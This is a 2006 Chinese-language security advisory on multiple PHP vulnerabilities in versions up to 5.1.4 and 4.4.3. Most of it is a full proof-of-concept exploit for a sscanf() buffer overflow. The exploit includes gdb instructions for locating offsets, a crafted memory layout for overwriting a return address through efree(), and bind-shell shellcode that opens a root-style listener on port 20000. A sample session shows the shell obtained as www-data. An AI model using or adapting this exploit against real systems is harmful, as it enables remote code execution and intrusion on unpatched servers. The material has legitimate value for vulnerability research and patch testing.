信息来源：绿盟科技
发布日期：2006-08-19
更新日期：2006-08-21
受影响系统：
PHP PHP <= 5.1.4
PHP PHP <= 4.4.3
不受影响系统：
PHP PHP 5.1.5
PHP PHP 4.4.4
描述：
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PHP是广泛使用的通用目的脚本语言，特别适合于Web开发，可嵌入到HTML中。
PHP中存在多个安全漏洞，具体如下：
1) file_exists()、imap_open()和imap_reopen()函数中缺少safe_mode和open_basedir验证；
2) 在64位系统上str_repeat()和wordwrap()函数存在边界错误；
3) 可通过cURL扩展和realpath缓存绕过open_basedir和safe_mode保护机制；
4) GD扩展处理畸形GIF图形时存在边界条件错误；
5) stripos()函数中的错误可能导致界外内存读取；
6) 64位系统上存在错误的memory_limit限制。
本地或远程攻击者可以利用这个漏洞绕过安全限制，导致执行任意代码。
<*来源：PHP
链接：
http://secunia.com/advisories/21546/print/
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<?
/***********************************************************
* hoagie_php_sscanf.php
* PHP <= 4.4.3 / 5.1.4 local buffer overflow exploit
*
* howto get offsets:
* (set $base_addr to 0x41414141)
* # ulimit -c 20000
* # /etc/init.d/apache restart
* (execute script via web browser)
* # tail /var/log/apache/error.log
* ...
* [Wed Aug 16 15:07:10 2006] [notice] child pid 28222 exit signal
Segmentation fault (11), possible coredump in /tmp
* ...
* $ gdb /usr/sbin/apache /tmp/core
* ...
* ...
* #0 0x40422b2d in php_sscanf_internal () from
/usr/lib/apache/1.3/libphp4.so
* (gdb) x/250 $edx
* ...
* 0x83ae16c: 0x41414141 0x41414141 0x41414141
0x41414141
* 0x83ae17c: 0xdeadbabe 0x41414145 0x4141415d
0x00000001
* ^^^^^^^^^^
* start of our buffer (0x83ae180) =
$base_addr
* 0x83ae18c: 0x00000008 0x4141415d 0x0833d248
0x00000400
* 0x83ae19c: 0x909006eb 0x90909090 0xe3f7db31
0x435366b0
* ^^^^^^^^^^
* start of shell code
(0x83ae1a4)
* 0x83ae1ac: 0x89534353 0x80cd4be1 0x6652c789
0x43204e68
* 0x83ae1bc: 0xe1895366 0xd0f6efb0 0x89575150
0xcd66b0e1
* 0x83ae1cc: 0x4366b080 0x5080cd43 0xe1895750
0xcd66b043
* 0x83ae1dc: 0x89d98980 0x2c6fb0c3 0x80cd4930
0x51f6e241
* 0x83ae1ec: 0x732f6e68 0x2f2f6868 0xe3896962
0xe1895351
* 0x83ae1fc: 0xd0f6f4b0 0x414180cd 0x41414141
0x41414141
* 0x83ae20c: 0x41414141 0x41414141 0x41414141
0x41414141
* ...
* (gdb) quit
* #
* (change $base_addr in exploit and now call url again)
* # gdb /usr/sbin/apache /tmp/core
* #0 0x40475e73 in _efree ()
* from /usr/lib/apache/1.3/libphp4.so
* (gdb) x/4w $ebp
* 0xbfffb018: 0xbfffb038 0x40484241 0x0812a2f4
0xbfffb038
* ^^^^^^^^^^
* return address (return address location
= 0xbfffb01c)
* (change $rec_log in exploit and call url again)
* $ telnet 127.0.0.1 20000
* Trying 127.0.0.1...
* Connected to localhost.
* Escape character is '^]'.
* id;
* uid=33(www-data) gid=33(www-data) groups=33(www-data)
* exit;
* Connection closed by foreign host.
* $
*
* NOTE: Because of PHP memory allocation this exploit depends on
filename, pathname
* content etc... (because each line/byte will change emalloc()
behavior
*
* Credits: Heintz (discovered this bug)
* BigHawk (bind shell code)
* Greuff (void.at)
*
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
* CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
* DAMAGE DONE USING THIS PROGRAM.
*
* VOID.AT Security
*
andi@void.at
*
http://www.void.at
*
************************************************************/
/* base_addr for buffer in memory */
$base_addr = 0x812a260;
$base_addr_fill = 0x16;
/* byte 0 = fill up, byte 1 = refcount, byte 2 = is_ref, byte 3 = type
*/
$zval_attr = 0x00000008;
/* will be overwritten to execute our shellcode */
$ret_loc = 0xbfffb01c;
/* just for searching */
$pattern = 0xdeadbabe;
function long2str($addr) {
return pack("V", $addr);
}
$data =
/* fill up memory */
str_repeat(long2str($base_addr), $base_addr_fill) .
/* pattern */
long2str($pattern) .
/* current = base_addr */
long2str($base_addr + 0x4) .
/* *current = _zval_struct */
/* _zval_struct */
/* _zvalue_value */
/* _zvalue_value.str.val */
long2str($base_addr + 0x10 + 0xc) .
/* _zvalue_value_str.len */
long2str(0x00000001) .
/* _zval_struct.type, _zval_struct.is_ref, _zval_struct.refcount */
long2str($zval_attr) .
/* _zend_mem_header */
/* _zend_mem_header.pNext = start of shellcode */
long2str($base_addr + 28) .
/* _zend_mem_header.pLast */
long2str($ret_loc) .
/* zend_mem_header.size, zend_mem_header.cached */
long2str(0x000000400) .
/* jump over next six bytes */
"\xeb\x06\x90\x90" .
/* this bytes will be overwritten by efree() */
"\x90\x90\x90\x90" .
/* shell code starts here -
* BigHawk bind() version - just a little update to get rid
* of 0x3f
*/
"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd"
.
"\x80\x89\xc7\x52\x66\x68\x4e\x20\x43\x66\x53\x89\xe1\xb0\xef"
.
"\xf6\xd0\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\x43\x43"
.
"\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89"
.
"\xc3\xb0\x6f\x2c\x30\x49\xcd\x80\x41\xe2\xf6\x51\x68\x6e\x2f"
.
"\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\xf4"
.
"\xf6\xd0\xcd\x80" .
/* fill up memory */
str_repeat(long2str($base_addr), $base_addr_fill);
/* fill up memory with emalloc() for sscanf() */
quotemeta($data);
/* trigger exploit */
sscanf($data, '%1$s', $str);
?>
建议：
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厂商补丁：
PHP
---
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
http://www.php.net/downloads.php
